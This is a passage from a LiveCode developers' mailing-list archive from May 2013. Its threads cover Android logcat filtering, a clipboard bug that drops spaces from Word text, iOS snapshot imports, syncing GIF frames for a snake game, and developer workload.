PATH=${PATH}: Check that adb can run: adb --help #gives help output Filtering output: Turn on logcat with stdout and stderr filters to reduce unnecessary output lines (there's lots of extra junk logged.) The format for filters is [tag]:[priority]. For example, "I" means "info": adb logcat stdout:I stderr:I LiveCode messages: Two libraries are loaded: revandroid and livecode. We only want to track those two. "D" means "debug" and "S" is "silent": adb logcat revandroid:D LiveCode:I *:S which means: report debug data from revandroid, report any info from livecode, and everything else is silent. To stop logcat, type Control-C -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From skip at magicgate.com Wed May 15 08:10:42 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Wed, 15 May 2013 08:10:42 -0400 Subject: ClipboardData In-Reply-To: <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> Message-ID: Craig, can you think of a good way to do/test that? SKIP On Tue, May 14, 2013 at 10:13 PM, wrote: > Hi. > > > But that means the space char had to have been present in the original. > Let's say your spaceless text was: > > > "Onetwothree..." > > > Can you find out what the 4th char in this string is? Is it a "t", or > ASCII 32? > > > Craig Newman > > > > -----Original Message----- > From: Magicgate Software - Skip Kimpel > To: How to use LiveCode > Sent: Tue, May 14, 2013 6:09 pm > Subject: Re: ClipboardData > > > Phil, I tried your method and then took a look at _temp_ and the result was > the same. > > Craig, If I paste my clipboard into Notepad or any other text based > application, it translates over properly... just not in LC. I am using > 5.5.4 > > SKIP > > > On Tue, May 14, 2013 at 4:00 PM, wrote: > > > Yipes. > > > > > > Can you dig in and see if there is any char at all where the space ought > > to have been. In other words, is that "space" empty? > > > > > > > > Craig Newman > > > > > > -----Original Message----- > > From: Magicgate Software - Skip Kimpel > > To: How to use LiveCode > > Sent: Tue, May 14, 2013 3:05 pm > > Subject: ClipboardData > > > > > > I have used clipboarddata for many project in the past. Today I was > trying > > to process a clipboard selection that came from a Word 2003 document and > it > > did not preserve any of the spaces. I have used the format of "text", > > "html", "rtf"..... actually tried all the available options. > > > > Suggestions? > > > > SKIP > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription > > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dixonja at hotmail.co.uk Wed May 15 08:40:39 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Wed, 15 May 2013 13:40:39 +0100 Subject: Import Snapshot in iOS In-Reply-To: <965794E062384057A88C9F9B6B5EBED5@gmail.com> References: <2C9DA28F-9647-46F0-A46A-8106BC05DA26@mac.com>, <5192CDE5.4010007@fourthworld.com>, <965794E062384057A88C9F9B6B5EBED5@gmail.com> Message-ID: Ender... There is not a problem with importing a snapshot from a rectangle !.. and it doesn't matter is acceleratedRendering is true or false.. or has even left the room ..:-) > Date: Wed, 15 May 2013 03:13:59 +0300 > From: endernafi at gmail.com > To: use-livecode at lists.runrev.com > Subject: Re: Import Snapshot in iOS > > Yepp :) > *import from * works fine. > The problem is *import from rect* notation. > > @Roger, > for now the only solution seems this piece of code: > _set the acceleratedRendering of this stack to false > _import snapshot from rect tRect > _set the acceleratedRendering of this stack to true > > My sample stack in the forum post works without a glitch with this update. > So, the code in that stack does 3 things: > * Prohibits the black snapshot {turning off the a-R temporarily} > * Prohibits the transparent blank snapshot {excluding the iPhone status bar} > * Places the final snapshot into the visible portion of the screen > > > Best, > > ~ Ender Nafi > > ~? together, we're smarter ?~ > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Wed May 15 08:58:31 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 15 May 2013 08:58:31 -0400 (EDT) Subject: ClipboardData In-Reply-To: References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> Message-ID: <8D01F8308E05281-9FC-22C1F@webmail-d276.sysops.aol.com> Hi. Run this, maybe in a button and with your text already in the clipBoardData: on mouseUp repeat with y = 1 to 20 --there surely must be a few "spaces" in that many chars put char y of the clipBoardData & ":" && charToNum(char y of the clipBoardData) into line y of fld "resultField" end repeat end mouseUp Of course you also need a field named "resultField" See the chars and their ASCII values in list form. Look for values of 32 where a space ought to be. If there is never any such value, then something very strange is going on, since the space has to be there somewhere, or it would not show in your other venues. Craig Newman -----Original Message----- From: Magicgate Software - Skip Kimpel To: How to use LiveCode Sent: Wed, May 15, 2013 8:11 am Subject: Re: ClipboardData Craig, can you think of a good way to do/test that? SKIP On Tue, May 14, 2013 at 10:13 PM, wrote: > Hi. > > > But that means the space char had to have been present in the original. > Let's say your spaceless text was: > > > "Onetwothree..." > > > Can you find out what the 4th char in this string is? Is it a "t", or > ASCII 32? > > > Craig Newman > > > > -----Original Message----- > From: Magicgate Software - Skip Kimpel > To: How to use LiveCode > Sent: Tue, May 14, 2013 6:09 pm > Subject: Re: ClipboardData > > > Phil, I tried your method and then took a look at _temp_ and the result was > the same. > > Craig, If I paste my clipboard into Notepad or any other text based > application, it translates over properly... just not in LC. I am using > 5.5.4 > > SKIP > > > On Tue, May 14, 2013 at 4:00 PM, wrote: > > > Yipes. > > > > > > Can you dig in and see if there is any char at all where the space ought > > to have been. In other words, is that "space" empty? > > > > > > > > Craig Newman > > > > > > -----Original Message----- > > From: Magicgate Software - Skip Kimpel > > To: How to use LiveCode > > Sent: Tue, May 14, 2013 3:05 pm > > Subject: ClipboardData > > > > > > I have used clipboarddata for many project in the past. Today I was > trying > > to process a clipboard selection that came from a Word 2003 document and > it > > did not preserve any of the spaces. I have used the format of "text", > > "html", "rtf"..... actually tried all the available options. > > > > Suggestions? > > > > SKIP > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription > > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m_p_wilcox at yahoo.co.uk Wed May 15 09:10:52 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Wed, 15 May 2013 14:10:52 +0100 Subject: Import Snapshot in iOS Message-ID: Is everyone using the same versions of LiveCode and iOS? The code in GitHub looks like it won't successfully capture a rectangle from an "accelerated" screen on any recent iOS version. John Dixon wrote: >Ender... > >There is not a problem with importing a snapshot from a rectangle !.. and it doesn't matter is acceleratedRendering is true or false.. or has even left the room ..:-) > >> Date: Wed, 15 May 2013 03:13:59 +0300 >> From: endernafi at gmail.com >> To: use-livecode at lists.runrev.com >> Subject: Re: Import Snapshot in iOS >> >> Yepp :) >> *import from * works fine. >> The problem is *import from rect* notation. >> >> @Roger, >> for now the only solution seems this piece of code: >> _set the acceleratedRendering of this stack to false >> _import snapshot from rect tRect >> _set the acceleratedRendering of this stack to true >> >> My sample stack in the forum post works without a glitch with this update. >> So, the code in that stack does 3 things: >> * Prohibits the black snapshot {turning off the a-R temporarily} >> * Prohibits the transparent blank snapshot {excluding the iPhone status bar} >> * Places the final snapshot into the visible portion of the screen >> >> >> Best, >> >> ~ Ender Nafi >> >> ~? together, we're smarter ?~ >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From skip at magicgate.com Wed May 15 09:28:18 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Wed, 15 May 2013 09:28:18 -0400 Subject: ClipboardData In-Reply-To: <8D01F8308E05281-9FC-22C1F@webmail-d276.sysops.aol.com> References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> <8D01F8308E05281-9FC-22C1F@webmail-d276.sysops.aol.com> Message-ID: Okay... ran that and no sign of ASCII 32 there... just the next character. SKIP On Wed, May 15, 2013 at 8:58 AM, wrote: > Hi. > > > Run this, maybe in a button and with your text already in the > clipBoardData: > > > > on mouseUp > repeat with y = 1 to 20 --there surely must be a few "spaces" in that > many chars > put char y of the clipBoardData & ":" && charToNum(char y of the > clipBoardData) into line y of fld "resultField" > > end repeat > end mouseUp > > > Of course you also need a field named "resultField" > > > See the chars and their ASCII values in list form. Look for values of 32 > where a space ought to be. If there is never any such value, then something > very strange is going on, since the space has to be there somewhere, or it > would not show in your other venues. > > > Craig Newman > > > -----Original Message----- > From: Magicgate Software - Skip Kimpel > To: How to use LiveCode > Sent: Wed, May 15, 2013 8:11 am > Subject: Re: ClipboardData > > > Craig, can you think of a good way to do/test that? > > SKIP > > > On Tue, May 14, 2013 at 10:13 PM, wrote: > > > Hi. > > > > > > But that means the space char had to have been present in the original. > > Let's say your spaceless text was: > > > > > > "Onetwothree..." > > > > > > Can you find out what the 4th char in this string is? Is it a "t", or > > ASCII 32? > > > > > > Craig Newman > > > > > > > > -----Original Message----- > > From: Magicgate Software - Skip Kimpel > > To: How to use LiveCode > > Sent: Tue, May 14, 2013 6:09 pm > > Subject: Re: ClipboardData > > > > > > Phil, I tried your method and then took a look at _temp_ and the result > was > > the same. > > > > Craig, If I paste my clipboard into Notepad or any other text based > > application, it translates over properly... just not in LC. I am using > > 5.5.4 > > > > SKIP > > > > > > On Tue, May 14, 2013 at 4:00 PM, wrote: > > > > > Yipes. > > > > > > > > > Can you dig in and see if there is any char at all where the space > ought > > > to have been. In other words, is that "space" empty? > > > > > > > > > > > > Craig Newman > > > > > > > > > -----Original Message----- > > > From: Magicgate Software - Skip Kimpel > > > To: How to use LiveCode > > > Sent: Tue, May 14, 2013 3:05 pm > > > Subject: ClipboardData > > > > > > > > > I have used clipboarddata for many project in the past. Today I was > > trying > > > to process a clipboard selection that came from a Word 2003 document > and > > it > > > did not preserve any of the spaces. I have used the format of "text", > > > "html", "rtf"..... actually tried all the available options. > > > > > > Suggestions? > > > > > > SKIP > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription > > > preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription > > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From skip at magicgate.com Wed May 15 09:31:36 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Wed, 15 May 2013 09:31:36 -0400 Subject: ClipboardData In-Reply-To: References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> <8D01F8308E05281-9FC-22C1F@webmail-d276.sysops.aol.com> Message-ID: Just an FYI, there are other spaces scattered throughout the lines of text, however only some of them show up when pasting from clipboard in LC. SKIP On Wed, May 15, 2013 at 9:28 AM, Magicgate Software - Skip Kimpel < skip at magicgate.com> wrote: > Okay... ran that and no sign of ASCII 32 there... just the next character. > > SKIP > > > On Wed, May 15, 2013 at 8:58 AM, wrote: > >> Hi. >> >> >> Run this, maybe in a button and with your text already in the >> clipBoardData: >> >> >> >> on mouseUp >> repeat with y = 1 to 20 --there surely must be a few "spaces" in that >> many chars >> put char y of the clipBoardData & ":" && charToNum(char y of the >> clipBoardData) into line y of fld "resultField" >> >> end repeat >> end mouseUp >> >> >> Of course you also need a field named "resultField" >> >> >> See the chars and their ASCII values in list form. Look for values of 32 >> where a space ought to be. If there is never any such value, then something >> very strange is going on, since the space has to be there somewhere, or it >> would not show in your other venues. >> >> >> Craig Newman >> >> >> -----Original Message----- >> From: Magicgate Software - Skip Kimpel >> To: How to use LiveCode >> Sent: Wed, May 15, 2013 8:11 am >> Subject: Re: ClipboardData >> >> >> Craig, can you think of a good way to do/test that? >> >> SKIP >> >> >> On Tue, May 14, 2013 at 10:13 PM, wrote: >> >> > Hi. >> > >> > >> > But that means the space char had to have been present in the original. >> > Let's say your spaceless text was: >> > >> > >> > "Onetwothree..." >> > >> > >> > Can you find out what the 4th char in this string is? Is it a "t", or >> > ASCII 32? >> > >> > >> > Craig Newman >> > >> > >> > >> > -----Original Message----- >> > From: Magicgate Software - Skip Kimpel >> > To: How to use LiveCode >> > Sent: Tue, May 14, 2013 6:09 pm >> > Subject: Re: ClipboardData >> > >> > >> > Phil, I tried your method and then took a look at _temp_ and the result >> was >> > the same. >> > >> > Craig, If I paste my clipboard into Notepad or any other text based >> > application, it translates over properly... just not in LC. I am using >> > 5.5.4 >> > >> > SKIP >> > >> > >> > On Tue, May 14, 2013 at 4:00 PM, wrote: >> > >> > > Yipes. >> > > >> > > >> > > Can you dig in and see if there is any char at all where the space >> ought >> > > to have been. In other words, is that "space" empty? >> > > >> > > >> > > >> > > Craig Newman >> > > >> > > >> > > -----Original Message----- >> > > From: Magicgate Software - Skip Kimpel >> > > To: How to use LiveCode >> > > Sent: Tue, May 14, 2013 3:05 pm >> > > Subject: ClipboardData >> > > >> > > >> > > I have used clipboarddata for many project in the past. Today I was >> > trying >> > > to process a clipboard selection that came from a Word 2003 document >> and >> > it >> > > did not preserve any of the spaces. I have used the format of "text", >> > > "html", "rtf"..... actually tried all the available options. >> > > >> > > Suggestions? >> > > >> > > SKIP >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription >> > > preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > > >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription >> > preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription >> preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From ambassador at fourthworld.com Wed May 15 09:59:33 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 15 May 2013 06:59:33 -0700 Subject: Import Snapshot in iOS In-Reply-To: References: Message-ID: <519394C5.8040509@fourthworld.com> Mark Wilcox wrote: > Yes, the code I looked at definitely took a rect and not an object. > I suspect the new method is not taking a snapshot of the screen at > all but rendering the object into an image. Wouldn't using the new > method and asking for the current card work for most scenarios? I would imagine so. In my understanding, the newer "from " option does indeed work as you described, which is why I guessed it might be helpful in cases where the "from " option doesn't work. I think Bj?rnke's suggestion that this be reported as a bug is valid, since it's probably possible to change the buffer from which the "from " image data is obtained, from what I presume is the rendered card buffer to the final OS-rendered screen buffer instead. This may be slightly more difficult on non-mobile systems, since the card buffer will be using different coordinates from the screen buffer, but even then those coords should be translatable. In fact, this may help us understand why John's results are so different: > There is not a problem with importing a snapshot from a rectangle !.. > and it doesn't matter is acceleratedRendering is true or false.. or > has even left the room ..:-) I wonder if successful uses of "from " are using global coordinates, while unsuccessful ones are using local coordinates. If this is true, I'd still consider it a bug but at least it becomes somewhat understandable, in that perhaps local coords pull from the card buffer (which is in tiles with acceleratedRendering turned on) while global coords perhaps pull from the final composited screen buffer. That's just a wild guess, though. But since John's seeing good results while others are seeing blank images, there must be some difference somewhere. Perhaps we should note engine version numbers with results as this discussion continues? It may be that ongoing enhancements to the rendering subsystem introduced a change in a relatively recent version which is the cause of this. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From andrew at ctech.me Wed May 15 10:07:04 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Wed, 15 May 2013 09:07:04 -0500 Subject: Speed of Building Applications with LiveCode Message-ID: This is an odd kind of post for the list, Sometimes with LiveCode I am able to put things together so quickly that it is hard for me to compare development times in livecode to development times in other environments. It makes me tend to expect things much more quickly after a while. So, all "bragging" aside, how many fully featured database applications do you think you would be able to develop in a year? I have worked on about 8 since last july. Lately, I have felt a little overwhelmed with the workload I place on myself and am having a hard time deciding if I need to lighten it or just learn to work faster/more efficiently. Can some of you share similar experiences or give me some advice? -- Regards, Andrew Kluthe andrew at ctech.me From bertshuler at yahoo.com Wed May 15 10:42:49 2013 From: bertshuler at yahoo.com (Bert Shuler) Date: Wed, 15 May 2013 07:42:49 -0700 (PDT) Subject: Timing Message-ID: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> I have a game board that is 20x20 with 400 images, each is 10px x 10px. As my character, a snake, navigates through, it grows. So on second 1, the snake is 1 cell in length, on?second?2 it is 2 cells long, etc... I want to use an animated gif in each cell the snake occupies to show the snake moving. This issue is, I need all of the gifs synchronized, otherwise it looks funky at the cell borders. Is LC capable of this kind of synchronization? Is there a better way? From bonnmike at gmail.com Wed May 15 10:50:38 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 15 May 2013 08:50:38 -0600 Subject: Timing In-Reply-To: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> Message-ID: You'll need to control the gif frames yourself to do this. In the dictionary look at framecount, currentframe, palindromeframes, and repeatcount Basically you'll want to set repeatcount to 0 for all of the gifs, then write your own loop to set the current frame of all the gifs in question so that they match. On Wed, May 15, 2013 at 8:42 AM, Bert Shuler wrote: > I have a game board that is 20x20 with 400 images, each is 10px x 10px. > > As my character, a snake, navigates through, it grows. > > So on second 1, the snake is 1 cell in length, on second 2 it is 2 cells > long, etc... > > I want to use an animated gif in each cell the snake occupies to show the > snake moving. > This issue is, I need all of the gifs synchronized, otherwise it looks > funky at the cell borders. > > Is LC capable of this kind of synchronization? > > Is there a better way? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Wed May 15 10:58:40 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 15 May 2013 16:58:40 +0200 Subject: Timing In-Reply-To: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> Message-ID: Bert, GIF's are slow in LiveCode and take up a lot of CPU power and each image will use memory (much more than the size of the actual GIF file). Since you're going to have to set the frames by script anyway, it will be much more efficient to use image objects. Save each GIF frame as an unanimated picture and import those pictures into your stack. Use buttons instead of image objects to create your snake and use the icon property to display the required picture in each button. Changing the ID numbers of the icon properties will make the snake appear animated. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 15 mei 2013, at 16:42, Bert Shuler wrote: > I have a game board that is 20x20 with 400 images, each is 10px x 10px. > > As my character, a snake, navigates through, it grows. > > So on second 1, the snake is 1 cell in length, on second 2 it is 2 cells long, etc... > > I want to use an animated gif in each cell the snake occupies to show the snake moving. > This issue is, I need all of the gifs synchronized, otherwise it looks funky at the cell borders. > > Is LC capable of this kind of synchronization? > > Is there a better way? From jacque at hyperactivesw.com Wed May 15 11:00:57 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 16:00:57 +0100 Subject: Import Snapshot in iOS In-Reply-To: References: Message-ID: <9564e4e9-a79b-48fc-8053-94fa1ecca228@email.android.com> Yes, I asked about this and according to RR import from rect hasn't been implemented in iOS for some technical reasons. But you can "import snapshot from rect xxxx of this card" and it should work. Mark Wilcox wrote: >Is everyone using the same versions of LiveCode and iOS? The code in >GitHub looks like it won't successfully capture a rectangle from an >"accelerated" screen on any recent iOS version. > > >John Dixon wrote: > >>Ender... >> >>There is not a problem with importing a snapshot from a rectangle !.. >and it doesn't matter is acceleratedRendering is true or false.. or has >even left the room ..:-) >> >>> Date: Wed, 15 May 2013 03:13:59 +0300 >>> From: endernafi at gmail.com >>> To: use-livecode at lists.runrev.com >>> Subject: Re: Import Snapshot in iOS >>> >>> Yepp :) >>> *import from * works fine. >>> The problem is *import from rect* notation. >>> >>> @Roger, >>> for now the only solution seems this piece of code: >>> _set the acceleratedRendering of this stack to false >>> _import snapshot from rect tRect >>> _set the acceleratedRendering of this stack to true >>> >>> My sample stack in the forum post works without a glitch with this >update. >>> So, the code in that stack does 3 things: >>> * Prohibits the black snapshot {turning off the a-R temporarily} >>> * Prohibits the transparent blank snapshot {excluding the iPhone >status bar} >>> * Places the final snapshot into the visible portion of the screen >>> >>> >>> Best, >>> >>> ~ Ender Nafi >>> >>> ~? together, we're smarter ?~ >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >>_______________________________________________ >>use-livecode mailing list >>use-livecode at lists.runrev.com >>Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >>http://lists.runrev.com/mailman/listinfo/use-livecode >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Wed May 15 11:03:36 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 16:03:36 +0100 Subject: ClipboardData In-Reply-To: References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> <8D01F28F695CDB8-233C-211E5@webmail-m279.sysops.aol.com> <8D01F8308E05281-9FC-22C1F@webmail-d276.sysops.aol.com> Message-ID: <98506177-df62-482a-bcdf-76d9ad42d62a@email.android.com> Did you include the version of Word in your bug report? They'll need that. Magicgate Software - Skip Kimpel wrote: >Okay... ran that and no sign of ASCII 32 there... just the next >character. > >SKIP > > >On Wed, May 15, 2013 at 8:58 AM, wrote: > >> Hi. >> >> >> Run this, maybe in a button and with your text already in the >> clipBoardData: >> >> >> >> on mouseUp >> repeat with y = 1 to 20 --there surely must be a few "spaces" in >that >> many chars >> put char y of the clipBoardData & ":" && charToNum(char y of the >> clipBoardData) into line y of fld "resultField" >> >> end repeat >> end mouseUp >> >> >> Of course you also need a field named "resultField" >> >> >> See the chars and their ASCII values in list form. Look for values of >32 >> where a space ought to be. If there is never any such value, then >something >> very strange is going on, since the space has to be there somewhere, >or it >> would not show in your other venues. >> >> >> Craig Newman >> >> >> -----Original Message----- >> From: Magicgate Software - Skip Kimpel >> To: How to use LiveCode >> Sent: Wed, May 15, 2013 8:11 am >> Subject: Re: ClipboardData >> >> >> Craig, can you think of a good way to do/test that? >> >> SKIP >> >> >> On Tue, May 14, 2013 at 10:13 PM, wrote: >> >> > Hi. >> > >> > >> > But that means the space char had to have been present in the >original. >> > Let's say your spaceless text was: >> > >> > >> > "Onetwothree..." >> > >> > >> > Can you find out what the 4th char in this string is? Is it a "t", >or >> > ASCII 32? >> > >> > >> > Craig Newman >> > >> > >> > >> > -----Original Message----- >> > From: Magicgate Software - Skip Kimpel >> > To: How to use LiveCode >> > Sent: Tue, May 14, 2013 6:09 pm >> > Subject: Re: ClipboardData >> > >> > >> > Phil, I tried your method and then took a look at _temp_ and the >result >> was >> > the same. >> > >> > Craig, If I paste my clipboard into Notepad or any other text based >> > application, it translates over properly... just not in LC. I am >using >> > 5.5.4 >> > >> > SKIP >> > >> > >> > On Tue, May 14, 2013 at 4:00 PM, wrote: >> > >> > > Yipes. >> > > >> > > >> > > Can you dig in and see if there is any char at all where the >space >> ought >> > > to have been. In other words, is that "space" empty? >> > > >> > > >> > > >> > > Craig Newman >> > > >> > > >> > > -----Original Message----- >> > > From: Magicgate Software - Skip Kimpel >> > > To: How to use LiveCode >> > > Sent: Tue, May 14, 2013 3:05 pm >> > > Subject: ClipboardData >> > > >> > > >> > > I have used clipboarddata for many project in the past. Today I >was >> > trying >> > > to process a clipboard selection that came from a Word 2003 >document >> and >> > it >> > > did not preserve any of the spaces. I have used the format of >"text", >> > > "html", "rtf"..... actually tried all the available options. >> > > >> > > Suggestions? >> > > >> > > SKIP >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription >> > > preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > > >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription >> > preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription >> preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bvg at mac.com Wed May 15 11:08:16 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Wed, 15 May 2013 16:08:16 +0100 Subject: Speed of Building Applications with LiveCode In-Reply-To: References: Message-ID: <2784F470-216D-4F5A-AB00-34E47E61794C@mac.com> You should ask for more money, and hire a help :) Or accept clients less often, maybe? I'd say if you feel overwhelmed it's a good time for some holiday too. On 15.05.2013, at 15:07, Andrew Kluthe wrote: > This is an odd kind of post for the list, > > Sometimes with LiveCode I am able to put things together so quickly that it > is hard for me to compare development times in livecode to development > times in other environments. It makes me tend to expect things much more > quickly after a while. > > So, all "bragging" aside, how many fully featured database applications do > you think you 